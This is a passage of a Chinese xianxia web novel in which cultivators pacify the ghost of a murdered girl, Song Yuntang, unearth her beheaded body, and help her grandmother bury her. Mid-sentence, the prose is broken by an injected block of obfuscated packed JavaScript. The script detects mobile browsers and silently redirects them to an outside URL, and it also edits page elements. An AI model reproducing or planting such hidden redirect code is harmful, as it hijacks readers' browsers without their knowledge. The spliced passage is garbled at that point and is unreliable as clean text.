虚影成型。一道是血色衣裙魔化疯狂着的宋允棠,她面目凶狠狰狞:“杀了程鸿恩,杀了他们,他们可恨可憎,他们人面兽心,为何不能杀,凭什么不能杀!他们就该死!!你们阻我,你们也该死,全部去死!!” 另一道是粉色衣裙清冷茫然着的宋允棠,她面目悲伤凄然:“奶奶,对不起,是阿棠不好,是我识人不淑,未曾想那日一别竟是永别。对不起,真的很对不起,奶奶,阿棠也不想留你一个人,可是,我没办法,我真的没办法……” 这两道身影在夜空中不断交织着,对抗着。善恶之魂相互抗衡,双方都试图吞噬着对方,从而占据身体的主导权。 一红一粉的身影很快变得扭曲,红与粉缠绕,眼看着那粉色在血色的吞噬下越来越小,趋于同化。秦湘心下大惊,脸色在霎那间变得苍白,她连忙喊道:“不好!神君,快阻止她!若她的善魂被恶魂吞噬,那宋允棠就彻底成了一个魔气的载体,便再也救不回来了!” 长锦眸色一暗,掌心金光渐起,就要朝着宋允棠拍去。这时,一个白色的事物却突然冲了上来,撞开了长锦的手,灵力偏了方位,擦着宋允棠的发丝而过。 还未等几人看清那是个什么东西,那一抹白色便径直冲向了宋允棠。甫一接触到空中的灵力法链,便触发了锁链的反噬,也被禁锢在半空之中。金色锁链上流窜着滋滋作响的闪电,结界之中顿时响起了一阵惨叫与呜咽哀嚎。 众人这时才看清那白色的事物,原来是一只白色皮毛浑圆滚胖的奶狗。它被禁锢在宋允棠身旁,喉间发出阵阵痛苦的嗷呜声,却还在挣扎着要往宋允棠身边靠近。 乔玉洲抱着还是原型的三花,看着空中的景象,也是惊奇:“这里怎么会有一只狗?” 被这么一打断,那血色魂烟被反噬触发的金色闪电瞬间击得化为了灰烬。血色魂烟一散尽,那粉色魂烟便立刻占据了主导位置,它盘旋着,趁势就回到了宋允棠的身体之中。 秦湘却认出了那只狗,那是白日里在玉溪城码头老奶奶怀里抱的那只,是宋允棠的狗。动物的眼睛能够看见一些人们所看不见的东西,这白狗是宋允棠养的,自然识得她的气息。想来应该是察觉到了主人的气味,所以才会找寻来到了这里。 “小白……”宋允棠艰难地看向了那只白狗,她缓缓移动着僵硬的手指,像是想要触碰它。 秦湘看向长锦,焦急道:“神君,那是宋允棠的狗,是白天我们在码头见过的那只。” 长锦伸手向着那方,五指凌空一收,缚住那一鬼一狗的灵力锁链便化为了点点细碎星辰消失不见。甫一解封,宋允棠也跟着立即消失,那狗从空中落下,被秦湘接住,抱了个满怀。 随着宋允棠的消失,还有那骷髅花也被长锦收入囊中,所有的魔气幻境结界就此失去了灵力支柱来源,渐渐化为了乌有。三人站在这空地上,看着面前的景象慢慢回归了它原本的样子。 这是一个人烟稀少的荒郊野岭,阴冷湿寒的夜风夹杂着猫头鹰的咕咕叫声,像是无数冤魂恶鬼在沙沙游走。原来骷髅巨树矗立的地方,立着一个长满杂草的小土堆,小土堆上还压着镇鬼符,而那具无头无心的道士尸体也干瘪萎缩成了一具人皮骨架,尸液脓水流了满地,散发着阵阵腐烂的尸臭。 三人不约而同地皱起了眉头,看得一阵恶心。 这时,秦湘怀中抱着的白狗却挣扎着从她怀中跳下。它呜咽呜咽地叫着,用前爪不断地刨着面前的那个小土堆。 秦湘看着那张镇鬼符咒,伸手便将它揭了下来,细细琢磨一阵,符咒在她手中无火自燃,烧成了灰烬。她捏紧掌心,猛然气愤道:“这镇鬼符好生恶毒,下这符咒之人是要将宋允棠镇压于此,既成不了厉鬼找他复仇,又不能入轮回转世,他这是要她永世不得超生。” 她顿了顿,又转而面向长锦问道:“对了,神君,方才宋允棠趁乱逃走了,应该无大碍吧?那血色之魂已经消失,她的神识应该也已经清明了吧?” 长锦点点头,回答道:“没错的,她的神识已经清明,暂时无恙。” 一旁的乔玉洲抱着怀中的三花,掌中凝聚着蓝色的光华,为她输送着灵力。见她呼吸平缓,才收回手掌,给她口中送了一颗固元丹后,又走到两人身边,垂眼看着那刨得两爪都是泥的白狗,淡声问道:“这就是那宋允棠的葬身之处吗?坟不像坟,倒像是被人随手抛尸荒野。” 秦湘蹲下身来,想将那白狗抱走,可它却一下变得暴躁易怒起来。还未触碰到它,它便一副龇牙咧嘴,毛发竖立的姿态守在那个小土堆面前,眼神警惕。见秦湘收回手,半晌,它才收回尖牙利爪,又转身开始奋力刨那个土堆。 “神君,这?”秦湘蹲在一旁,有些无奈地皱着眉头看向长锦和乔玉洲。 “看来不把这个土堆挖开,这狗是不会善罢甘休的,”乔玉洲道,“你小心点罢,可别被它咬了。” “那怎么办?要帮它一起挖吗?”秦湘看着那个小土堆,颇有些为难。倒也不是怕脏怕臭,只是这半夜三更的在这荒郊野岭挖人坟墓,这画面看着……着实是……有些说不过去的怪异啊。 但转念一想,这地方如果真是宋允棠被人抛尸的地方,还被这道士下了如此恶毒的镇鬼符镇压,不管怎样,到最后都需要挖开确认身份再将尸体还给其亲人重新安葬,也不能让她真就这样孤零零地躺在这陌生的荒郊野岭里。 想到这,她叹了一口气,站起身来,沉声道:“算了,还是挖吧,总要确认一下这土堆里埋的到底是什么,如果真的是宋允棠,她应该也不会想一个人躺在这里,而且宋奶奶还在等她回家呢,我想送她回家。” 一时间没有人说话,黑夜里宋允棠清冷悲戚弱小的身影似乎又浮现了在眼前。 乔玉洲也一声叹息,道:“那就挖吧。” 秦湘又蹲下了身子,蹲在白狗面前,将手虚虚地放在它的背上。那白狗感受到了她的气息,警惕地扭过了头来。秦湘放慢了声音动作,眉头舒展,温柔轻声道:“别害怕,我不会伤害你的,我只是想帮你,你别怕,让我来帮你……” 她一边安抚着白狗的情绪,一边慢慢伸手试探性地摸向了它。那狗见她并无恶意,且白日里也曾见过熟悉过她的气息,渐渐地,便平静了下来。秦湘轻轻地抚上了它的背,安抚了一会儿之后,便将它抱在了怀里,起身。 秦湘抱着白狗走到一旁,手指微屈抚摸着它的头,朝着两人道:“好了,可以挖了。” 长锦抬起手,掌心凭空出现一个金色的球形结界,再往前一推,那结界便浸入了土堆之中。 土堆底下发出了一阵沙沙异响,随之,金色结界携裹着一个事物破土而出,霎时间尘土飞扬,泥沙俱下。待尘埃落地,滚滚灰尘散去,结界之中的事物才呈现在众人眼前。 结界之中,横躺着一具皮肉已经腐烂,露出了森森白骨的断头尸体。尸体穿着一袭粉衣,此时,那粉衣因为深埋于泥土之下,早已淡败不辩旧时清晰的颜色,无数细小的尸虫从那衣襟之中爬了出来,又慢慢地爬进了土里。 众人看着面前的尸骨,一时无言。秦湘怀中的白狗见此情形,再次挣扎着从她怀中跳下,冲上前去,冲进了结界之中,站在了那具高度腐烂的尸体面前,一边发出凄惨细碎的呜咽声,一边用鼻子不断拱着尸体的袖襟。 乔玉洲扫了一眼那具尸骨,脸色也有一些不好看,他皱着眉头淡声道:“就从这腐败程度看,这具尸体少说在这里埋了也已经有四个月了。” “四个月?”秦湘惊道,旋即喃喃,“四个月……如今也才四月,四个月前,那不正好是除夕夜新春节?” 乔玉洲点头:“约莫是的。” 秦湘愣了愣,看着面前暴尸荒野的尸骨,她有些难受,脑海中也不自觉地浮现出了一幅画面。 除夕夜,宋奶奶坐在小木屋中,守着一桌的菜肴。她看着门外的大雨瓢泼,直到菜肴冷却,大雨停止,夜空中迎新的烟火不断绽放着,而她面前的那扇小木门却一直没被推开过,那个说晚点回家给她带糖花糕的姑娘,从此再也没能回家。 秦湘吸了吸鼻子,颇有些难受地撇过头去。长锦注意到了她的动作,轻声唤她:“秦湘。” 秦湘深吸了一口气,整理了一下自己的表情,朝他摆摆手微笑道:“我没事。” 这时,乔玉洲道:“你们看,这狗从那具尸体身上叼出了个什么?” 闻言,两人将心中的这些情绪压下,将视线又放在了这边宋允棠的这具尸体和白狗上来。 只见那白狗在宋允棠的尸身上又嗅又刨又咬,好一顿操作之后,从她的脖颈断头之处叼出了个明晃晃的事物来。定睛一看,是一条很细很细的银链子,银链上方,还吊坠着一枚银质的平安锁坠。 那白狗叼着那枚平安锁坠,喉间不断发出悲戚的呜呜声,在这夜色暗涌的野岭之中显得格外的悲然哀恸。众人看着这枚平安锁坠,再看着那尸首分离的尸骨,心中共情凄凉不言而喻。 尽管还不知事情所有真相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812184|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但乔玉洲只是凭着今晚上这一系列的所见所感,就已是愤然。冰山一角都如此可恨,可想而知事情真相只怕是更加可怖可怜可恨,他叹息道:“这宋姑娘真是可怜,秦湘,你这委派任务的委托人可真不是个东西,你要是还站在他这一边救他那条狗命,那我真是这么多年就白交你这个朋友了。” 秦湘此时也不在意他这话里这个这么多年朋友的称呼了,一听他提起程鸿恩,她捏了捏拳,面色一冷,咬牙低声道:“不会,如果这件事真与他有关,是他们做的。这样的人,该死,但还不能就这样让他不明不白地死了,得让事情真相大白,给宋允棠沉冤昭雪,再让他明明白白地去死。” 顿了顿,秦湘转头接着对长锦道:“神君,明日我们去码头找宋奶奶吧,虽然让她知道真相是一件很残忍的事情,但是该知道的还是得知道。” 长锦点了点头,“好。” “那宋允棠呢?这具尸体就这么放在这?”乔玉洲用眼神指了指地上横放着的那具尸骨,“还有逃走的宋允棠,不用管她了吗?” “我会布置结界在这里,只要结界不破损,旁人是看不见的,”长锦神色如常,轻声道,“至于逃走的宋允棠,无论她是想见那位老人家还是想杀程鸿恩,在这两件事都没有完成之前,她会出现的。” 三人收整了一番,该布置结界就布置结界,该处理的就处理了。再将一旁跪着的那具道士尸体草草落了葬之后,便开了个传送通道阵朝着玉溪城内的方向走去。 回到玉溪城街头,已是丑时三刻。长锦站在秦湘身旁,秦湘怀中抱了只狗,乔玉洲怀中则抱着还是原型的三花。 秦湘面向着乔玉洲,目光看向他怀中的三花,不免担忧道:“乔玉洲,三花怎么样了?还好吗?” 乔玉洲低头看着怀中的猫,此时已经昏昏睡了过去。三花将头埋进了他的怀里,蹭了蹭,似乎想往更深处钻,钻了会,寻了个安逸的姿势,再蹭了蹭,便不再动了。 他摸了摸她柔顺漂亮的绒毛,温声道:“无大碍,那时可能是因为妖受魔气影响比我们更深,所以才会暂时失去法力变回原型,我已经给她输入了灵力,调理运转需要一段时间,等天亮了应该就能化回人形了。” “那就好,”闻言,秦湘松了一口气,“那天亮了你就带着三花先回腾岳之巅吧,你不是还要给爹爹他们送丹药灵器吗?我和神君就去码头探探,等结束了这件事情之后再回去。” “既然遇上了就一起回去吧,也不怕再耽搁这一天两天了,”乔玉洲道,“而且我也想看看这事情到最后会怎样收尾。” “这样吗?这样可以吗?”秦湘看了他一眼,“我以为你很急的,所以才让你早些回去。” “我?我急什么?”乔玉洲一脸莫名。 “急着回你的炅洲啊,你不是说巴陵小吗?要不是为了给爹爹送丹药和灵力石,你才不会来腾岳之巅呢,炅洲那么大,双灵阁哪哪不比腾岳之巅好?” 听闻她如此说话,乔玉洲也是无奈,半晌,笑道:“秦湘,翻旧账,你这就真的是没一点意思了哈,好了,是我失言还不行嘛?是我言错,不该说巴陵腾岳之巅小,是我眼拙,今晚上看了不该看见的场景,你放心,我绝对不会跟别人说你大晚上的不睡觉,在长街上跟……” “呸呸呸,你住嘴,你在胡说八道些什么乱七八糟的鬼东西?!”眼看着话题又要往不该说的画面上引,秦湘连忙打断了他,并狠狠地瞪了他一眼。 乔玉洲看了一旁视线一直放在秦湘身上的长锦,顿了顿,又将视线慢慢地挪了回来。看着面前恼羞成怒的秦湘,他“噗嗤”一下笑了,然后轻咳了两声,正色道:“好好好,我又言错,我不说了,那就先这样吧,我带着三花先走了,天亮后再见。” “走吧走吧走吧,”秦湘巴不得他赶紧走,再多待两秒谁知道他那张嘴又会吐出些什么鬼话,“赶紧走,走好不送。” 几句寒暄过后,约定好天亮之后在玉溪城码头集合再见,乔玉洲便抱着三花转身离去。 看着他的身影在夜色拐角处消失不见,秦湘才收回目光,转头看向长锦,她没预料到长锦一直在看着她,甫一回头,两道视线便倏然对上。秦湘一愣,随即反应过来,温声道:“神君?” 长锦被她这么一唤,也回过神来,怔了怔,他眨了眨眼睛,错开视线:“嗯。” 秦湘抱紧怀中的白狗,朝他微微一笑:“那我们也走吧,折腾了一夜,回去休息休息吧,赶紧一点的话,还能睡两个时辰呢,可不要浪费了。” “好。”长锦点头,收敛了眼中的情绪,走在了她身边。 25.允棠之殇 待到清晨天光破晓,秦湘抱着那白狗和长锦再次来到玉溪城码头。还未曾走近,远远地便看见了乔玉洲与三花立在那,俊男靓女的,在人群之中好不显眼。 今日的三花不似昨晚,妖的形态已经完全隐去不见。此时的她,还是作一袭宝蓝色的苗疆服饰打扮,腰间挂着几串小银铃铛,浅金卷发之间编进几条蓝色丝线,额间坠着眉心坠,肤若凝脂,唇若桃花,一双碧蓝眼眸尽显灵动。 秦湘看了几眼,心中不禁暗暗点评,三花真是越看越好看,越看越可爱!! 两人一走近了,乔玉洲也看见了两人,他将怀中拿着的几个包子丢给秦湘,“给,你们还没吃早饭呢吧?这是从客栈带的,趁热吃吧。” 秦湘和长锦确实还没过早,本来是打算来市集上随便吃点的。秦湘看了眼手中的包子,又看向旁边的两人,问道:“那你们呢?你们吃过了?” “在客栈吃过了,你们吃吧,”乔玉洲看了眼还还不够热闹的码头,天色尚早,卖东西的商户们还未曾全部出动,“现在还早,卖花的花贩还没有来,你们先吃吧。” “行,那我就不跟你客气了,回头这件事结束之后我再请你们吃饭。” “嘁,秦大小姐好豪气,”乔玉洲笑道,“怎么,你有钱了?” 腾岳之巅以节俭为本,之前秦湘年岁算小,下山又不多,该吃该用的秦叙都一应俱全地给她备好了,自然给到她手里的零用钱就少了。但现在,随着年岁越长,秦叙也就不限制她,每每下山,生怕她在外为难,给的银两也就比预计的要富裕些。 秦湘拍拍腰间挂着的白色纹绣荷包,哼道:“你瞧不起谁呢,虽然之前没有钱,但是这次爹爹给了我很多,不说别的,请你们吃顿饭而已,我还是请得起的。” “哈哈哈哈,”乔玉洲被她逗乐,“你都多大了呀,还要问伯父给你拨零用钱。” “……”秦湘给了他一记眼刀,“你再说,再说就你请我们吃。” “那可不行,秦大小姐好不容易豪气一回,我怎么能抢你的机会呢,”乔玉洲说着,又转头与三花搭话,“三花,听见了,秦湘请客,到时候咱们可要多吃点,去玉溪城最好的酒楼吃一顿,你第一次来这里吧,洞庭盛产鱼米,这边的鱼可是非常美味的。” 三花点点头,朝着秦湘弯起了眼睛笑了笑,声音清脆好听:“谢谢秦湘姐姐啦。” 虽然妖的年龄比人的要长,但妖有妖龄,不按照人的算法。就这样的模样来看,三花看起来是比秦湘要小一点点,叫姐姐也不算言错。 秦湘耳根子也浅,本来就觉得三花可爱娇俏,这么香香软软的小猫咪朝她笑一笑,别说一顿饭了,就是再来十顿也不在话下。 于是方才还在和乔玉洲黑脸的秦湘瞬间变脸,挠挠头,连忙摆手笑道:“没事没事,应该的,不用客气不用客气。” “……”见状,乔玉洲不高兴了,道,“秦湘,你是不是去巴蜀专门学过变脸啊?怎么对三花是这样的,对我就是一副那种凶巴巴的样子。” “你要是嘴再欠一点,”秦湘瞪了他一眼,“我还可以对你更凶些。” “女孩子还是要温柔一些,你这么凶,小心嫁不出去的啦,”乔玉洲话锋一转,“不对,我又说错了,你都已经不用担心这个问题了,怪不得这么肆无忌惮。” 见他话里有话,秦湘终于忍无可忍了,说什么都可以,但是就是不能将话题往长锦身上扯。她能被开玩笑,但是她摸不准长锦听到这些会作何感想。万一他不喜,然后因此对她生厌然后远离她那可还得了,她不能让这样的事情发生。 “啊,好了,你别说了,食不言寝不语,我要吃饭了。”秦湘边说着,边将长锦推走了。 两人走到了一边,她将怀中的狗放在了地上,又将手中的两个油纸包递了一个给长锦,轻声笑道:“让神君见笑了,乔玉洲他这人就这样,除了嘴欠,人倒是不坏的,给,先吃点东西吧,等下才有气力干活。” “谢谢。”长锦接了过来,两人并排站在一旁啃着手中的包子。秦湘一边啃着,一边将另一个包子一掰,撕了一小块下来,然后蹲下身,放在白狗面前,“小白,小白,你是叫小白吧,你也先吃点垫垫肚子吧,等晚些了我就带你去找宋奶奶。” 小白狗晃晃尾巴,朝她汪汪叫了两声,便低头将那一块雪白柔软的包子吃掉。见它吃了,秦湘也笑了,又撕了一小块放下,等它吃完,又接着撕一小块,就这样反反复复。 长锦站在她身旁,看着她喂狗,一个包子喂完,秦湘才拍拍手,掸掉手上的包子屑,站起身来啃怀中自己的那一个。 三花对人间的市集很好奇,此时正被一个卖亮晶晶货物的商贩吸引了目光,乔玉洲站在她身边,眼神里满是宠溺的温柔。 一个包子吃完,天色也还算早,卖花的商贩陆陆续续出动了,但是并没有看见昨日那几个熟悉的身影。于是两人便并排伏在码头边上的栏杆上看风景,边看边聊天。 水面波光粼粼,被阳光一照,仿若镀上了一层金光,偶尔有鱼跃出水面,荡漾起了一圈圈涟漪。秦湘趴在栏杆上,闭眼仰头深呼吸,感受着一阵一阵的清风拂面。 过了一会儿,她睁开眼睛,看着河面的碧波荡漾,鸥鸟翱翔,天地同色。如此美景,简直就是身体和心灵的双重放松,让人神清气爽。 她转头看向一旁的长锦,轻声道:“这条河叫做萝水河,玉溪城很多百姓的生计都靠它,怎么样,神君,出来走走还是好的吧?这风景真好,让人心情愉悦,说起来,神君你日日都呆在腾岳之巅的西院里,我都很少见你出门走动,这习惯可不好,人会闷坏的,人间如此美,就该出门多走走,散散心。” “我从小身体不大好,所以出门少,”长锦看着远处的渔船,思索了一会儿,淡声道,“很多次出门都是和母亲一起出去的,一个人的时候,我就不喜欢出门了。” 听他说起他为人时期的事情,这是书卷之上并没有记载的。秦湘一时被他的话勾起了十足的兴致,惊奇道:“身体不好?神君你之前不是修仙之人?” “不是,”长锦摇了摇头,“只是一介凡人,还是个病秧子。” 听到这,看着长锦眼中的暗淡。秦湘一愣,连忙转移话题,“没事没事,神君你现在很平安康健,所以就可以多出门了,”她顿了顿,又拍了拍胸脯保证道,“而且你也不会一个人的,以后我会带你出门,我们一起出去玩可好?” 长锦看着她的笑脸,胸腔之中也渐渐升起了一股暖流,他愣了愣,才应声道:“嗯,好的。” 见他又好了,秦湘才转开头,将视线又放回了面前的天水一色上来,“对了,神君,我记得你说过你之前住的地方叫做洵阳城,怎么样?三千年前的风景?应当也是这样美的吧?” “嗯,很美,”长锦回忆了一下,“洵阳沿海,阳光明媚的时候,海面也会像现在这样,波光粼粼,鱼跃鸢飞。” “哇,”秦湘想象了一番,内陆的孩子对大海总有一种莫名的执念,听长锦这么一描述,她顿时心生向往,“那可以去赶海吗?可以捉螃蟹捡贝壳吗?” “应当是可以的。” “那简直太好了,我还没有见过大海呢,”秦湘心驰神往,恨不得现在就飞去海边,大海无边无垠,定是比萝水河和洞庭湖更加的波澜壮阔,她一双眼睛亮晶晶地望着长锦,激动道,“神君,等得空了,我们去洵阳看看好不好?我想看大海,想抓螃蟹,想捡贝壳!!” 阳光下,长锦颇有些无奈又有些好笑地看着她这副激动的模样,情不自禁地伸手摸了摸她的头顶,温柔道:“好,等得空了我们就去。” 两人后来又东拉西扯地聊了一会儿,等到太阳全部升起,市集已经到了最热闹的时辰了,却还是不见宋奶奶的身影。两人觉得奇怪,乔玉洲也带着三花回到了他们身边,问道:“再过半个时辰这市集就该散了吧,那个卖花的老人家还是没来吗?” 秦湘蹲下身将在阴影处睡觉的白狗抱起,回答道:“没有来,也许有事耽搁了吧,”她抬头往昨天遇见宋奶奶的那个摊位那边望了两眼,忽然看见一个熟悉的身影,是昨天第一个为老人说话的那个妇人。她心下一喜,又道,“那边那个卖花的姐姐我昨日里见过,你们在这里等我一会儿,我过去问问。” 说完,便抱着白狗走向了那处,还未开口,那妇人倒是先认出了她,与她打招呼:“嘿,这不是昨日那位小仙君吗?你怎么还在这里呀?是来玉溪城游玩的吗?” “不是不是……” “不是?好吧,我还以为你是来玉溪城游玩的呢,”那妇人挠挠头,又看见了秦湘怀中抱着的白狗,皱着眉头定睛一看,奇道,“咦?这不是宋芸婶儿养的狗吗?怎么在小仙君怀中?” 听她提起话茬,秦湘连忙接口道:“是啊是啊,这就是昨日里那个老奶奶的狗,昨晚上我在逛夜市,就捡到了这个小家伙,想来可能是偷跑出来却不知道怎么回去,所以今日一大早我就抱着它来码头,想将它还给那位老奶奶。可是眼看着这日头都升起了,市集也快散了,却还是没看见那位老奶奶的身影,这不,看见姐姐你眼熟,就过来问问你,可知道那老奶奶住哪里?今日为何没有在码头看见她了?” “嗐,”闻言,那妇人一声叹息,唏嘘道,“芸婶昨晚 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“宋允棠失踪四个月,这四个月内,宋芸奶奶就没有去报官?”说起这件事,秦湘也是奇怪,按理来讲,一个大活人失踪了这么久,早该报官找人了。如果不是宋允棠的鬼魂复仇,程家夫妇委托腾岳之巅,然后再牵扯出了这一系列的事,可能宋芸到死都不会知道,她日思夜想的孙女早已先她而去,被人丢弃在那孤山野岭之中。 “我们是劝过她去报官寻人的,可芸婶不让啊,她坚持着,阿棠只是出去卖花了,晚些就会回来的,不需要报官。可能是她心里觉得,只要不报官,她就可以当做阿棠还在,阿棠会回来的。” 闻言,秦湘也一声叹息,想着她今日找寻宋芸的目的就是为了打破她的幻想,让宋允棠回家,她不敢想那个画面,那个宋芸看见宋允棠尸体的画面。良久,才闷声道:“梦是美好的,现实是残酷的,幻影总有破碎的一天,再好的梦也有该醒的时候。” “谁说不是呢?人啊,还是得向前看的,不管再难,活着了就要走下去。” 闲话扯了一番,回归正传。秦湘柔声道:“好了,话说回来,姐姐,那宋芸奶奶家住哪里呀?不管怎样,我还是得把这狗给她送过去,听说这狗也是允棠姑娘送给她的,一晚上找不见了,她应当也着急了。” “这倒是的,”妇人点了点头,她又站起了身,指着不远处一条小巷子,“宋芸婶儿的家往那边走就是了,直走,走到巷子尽头拐弯再往右走走,第六户人家。两扇木质门板,上面画了几朵荷花那家就是,因为一直等阿棠回家,她家的大门应该是虚掩着的,没有上锁。” 秦湘转身眯了眯眼睛,顺着她手指看去。末了,又回过身来再与她拉扯了几句,这才与她道了谢说了再见。 回到几人身边,秦湘将方才的情况与众人说了一番,便带着众人朝着那小巷子走去。右拐数到第六户人家,果然看见了两扇木质门板,门板上面画了几朵圆润可爱的荷花,不是什么精湛的画工,倒像是小孩无聊时的随笔所画。 门果然没有锁,秦湘怀中的白狗先行跳下走了进去,秦湘站在门口,朝着里面喊道:“请问宋芸奶奶在家吗?” “小白?小白你昨晚上去哪里去了,可担心死我了。”门内传来老人焦急的声音还有小狗汪汪叫的声音,想来应该是宋芸看见了先行进去的白狗了。不一会儿,有脚步声朝着门口走来,未见其人先闻其声,“谁呀?” 还不等秦湘作答,木门就被人拉开,宋芸抱着白狗,满头银丝乱糟糟的,一双眼睛警惕地看着门口的几人。愣了一会儿,认出了秦湘,眼神才软了下去,“是你啊,小姑娘,你怎么来了?” “奶奶,我是来给你送狗的,听昨日里那个姐姐说你生病了,所以我们就来看看你。” “没事,我没事,”宋芸笑了笑,让开了身子,“既然来了,就进来坐坐吧,喝口水。” “家里也就这样,没什么茶叶,只能喝口水了,放心,这水是干净的,杯子我也洗得很干净。”宋芸端了四杯水送到四人手中,水很清澈,杯子虽然老旧,但也干干净净。 秦湘双手接过,温声道谢:“奶奶你客气了,我们喝这个就很好了,没那么多讲究。” 四人喝了水,又和宋芸随便寒暄了几句。几人对望了几眼,谁都没有先提宋允棠的事情。不是不想提,而是不知从何说起。 宋芸也不是傻子,腾岳之巅的仙君来她家找她,长长短短地聊来聊去,不是有事是有什么,而她家能有的事情还是什么,除了宋允棠,她想不到其他的。 再和秦湘聊了两句小白之后,宋芸叹了口气,眼神清明,望向那扇虚掩着的门,道:“姑娘,你是个好姑娘,你有什么事情想和我说你就直说吧,不用顾忌。” 26.舐犊情深 众人一愣,站在这小小的房间内,心情复杂。望着宋芸瘦小的身影,秦湘叹了口气,将一块粉色的锦帕递了过去。抖开绢帛,里面包裹的是昨晚上从那具尸身上得到的那枚银质平安锁坠。 锁坠精美,在阳光的照耀下银光闪闪,虽然隔着绢帛,握在手心里也冰凉如水。 宋芸看着那块平安锁坠,眼神先是不可置信,然后再慢慢,慢慢转变成了悲痛,悲痛。她张了张嘴,想说话,却半天都没能说出来,一双混浊的眼里蓄满泪水。她抖着手,想从秦湘掌心接过那块平安锁,却生生地停滞在半空。好半晌,才握住了,捏在心口无言,张着嘴,却发不出声音,泪如泉涌。 几人看着这副场景,虽然早有心理准备,但真正发生的时候,却还是没由来地跟着难受,心情沉重。 屋内安静,几人就站在宋芸身旁,无声地陪伴着她,过了许久许久,宋芸才从一开始的无声痛哭到麻木枯坐,又过了很久很久,宋芸转了转眼睛,看向秦湘,声音嘶哑:“小姑娘……” “在,我在的,”听闻她唤她,秦湘连忙上前,蹲在宋芸面前,握住她的手,“奶奶我在的。” “我家阿棠在哪里?”宋芸无力地说着,眼神涣散,“你带我去见她,这么多天了,她一个人在外面该有多害怕呀,你带我去见她,我要带她回家。” “……”秦湘一时语噎,她抬头望了望长锦和乔玉洲他们,几人也表情沉重,朝她点点头,秦湘将头转了回来,握紧宋芸,低声应道:“好,奶奶,我带你去见她。” 秦湘搀扶着宋芸起身,长锦乔玉洲在前,她和三花一左一右,扶着宋芸走出屋内,长锦开了个传送通道阵法,五人又来到了昨晚上那个结界所在之地。 长锦抬手施法,护住尸体的结界消失,那具断头粉衣尸身便出现在了众人面前。 宋芸一看见那具尸体,看见那熟悉的粉色衣裙,便如遭雷击,脸色煞白。如果不是秦湘和三花搀扶着,估计都会在这当口就晕了过去。 她稳住身形,拂开了秦湘和三花的手,闭了闭眼,又复而睁开。一步,两步,三步,艰难地挪动着步子朝着那具尸身走去,明明是很近的距离,她却用了许久,许久才走到了她的身边。跪倒在她面前,出神了好久,才颤抖着那只满是皱纹的手掌,抚上尸体的脸,嘶哑着、颤抖着、带着哭腔道:“阿棠啊,别怕,奶奶来了,奶奶来接你回家了。” 她边说着,边就要扶着那具腐败的尸身起来。秦湘一看,急忙上前想要帮她,却被她制止住了,“别过来,小姑娘,你就站在那里吧,让我自己来,真的,你别动,我自己来。” 秦湘的脚步顿住,长锦乔玉洲三花站在她身后。四人就看着面前这个枯瘦的老人,奋力地背着那具断头尸身,手上抱着那颗腐败头颅,一步,两步,三步,目光坚定,步履沉重,像小时候无数个日夜下,背着她的孙女回家。 宋芸敛了宋允棠的尸体,在几人的帮助下,葬在了一棵海棠树下。坟前摆着一碟糖花糕,两碟炒菜,还有两束荷花,菜是宋芸现炒的,都是宋允棠生前爱吃的菜。 宋芸跪坐在坟前,眼泪流干了,整个人显得麻木不堪。她愣愣地看着面前的这个新鲜的小土堆,沉默良久,才慢慢开口:“我第一次和阿棠见面,就是在海棠树下,当时的她,不哭不闹,明明是被丢弃的,却还一点都不自知,我抱起她,她还朝我笑……” 宋允棠是个弃婴,宋芸是个弃妇。 宋芸年轻时嫁进了一家算小有钱的商贾之家,商贾之家重男轻女,女子不宜抛头露面,在外生意又需要男丁出面打理。可宋芸的肚子却不争气,一连三胎都是女儿,公公婆婆气得不轻,骂她是个不会下蛋的鸡,丈夫也与她离了心,在外养了外室,这些宋芸都忍了。 直到后来,那外室怀孕了,头胎便是儿子,这可将那一大家子人高兴坏了,他们欢欢喜喜地将那女人迎进了门。 母凭子贵,从此宋芸的日子便不好过了。前期还能忍,可后来,他们却越来越过分;那女人嚣张跋扈,仗着公公婆婆丈夫的宠爱,一次又一次地羞辱着她。 宋芸道:“有一回,她实在太过分,我气不过,便当场与她动了手……” 秦湘愣了一愣,接道:“然后呢?” 然后那女人捂着被她扇红的脸,哭哭啼啼地跑到众人面前告状。丈夫将那女人搂在怀里,心疼地直皱眉头,不住地柔声安慰着。公公婆婆说她不守妇道,疯疯癫癫,泼辣恶毒,不配做他家的媳妇,丈夫也大发雷霆,一封休书就要让她滚回家去。 被扫地出门,那可不是一件什么光彩的事。于是她的三个女儿,三个亲生女儿,因为怕受及牵连,整个过程之中,不仅没有站在她的身边为她说一句话,反而站在那女人那边,讨好着那女人,骂她是个疯婆子。 事情发展到最后,她被扫地出门,这件事闹得沸沸扬扬的。回娘家,爹娘也觉得脸上无光,被人戳脊梁骨骂,不愿意接济她,让她离开。 所以到最后,她成了弃妇,跋山涉水隐姓埋名来到了玉溪城,换一个没人认识她的地方又重新安顿了下来,以卖花为生。 直到十八年前的春日,那一天,因为采摘的荷花较多的缘故,等她沿街卖完一背篓的荷花回家,天色已经很晚了。她背着空竹篓,嘴里咬着一块早上没吃完的凉透了的白面饼子。 经过一条青巷时,却突然听闻一阵婴孩的咿咿呀呀声。她一愣,两三口吃完手中的饼,在粗布围裙上擦了两把,才循声走去,然后就看见了在皎洁月光的照耀下,青巷尽头的一树海棠开得正好。 海棠树下,一个襁褓包着的婴儿正睁着圆溜溜的眼睛好奇地打量着周围的一切,娇嫩的双手在空中挥舞着,手心还捏着一枚落下的淡粉色的海棠花瓣。 宋芸一怔,慢慢地走了过去,蹲在襁褓面前,与那小家伙四目相对。那小家伙也不怕人,看见宋芸,丝毫也没意识到自己如今的处境,还朝着她咿咿呀呀地笑着。 “是个女孩子呢,”宋芸喃喃,轻轻地将那小家伙抱在怀里,“就是因为是个女孩子,所以你才会被人丢弃的吗?”她愣怔很久,才道,“我是弃妇,你是弃婴,如果你要是不嫌弃,那就和我这个老婆子搭伙过一辈子吧,你如果答应的话你就对我再笑一次,你再笑一次,我就当你答应了。” 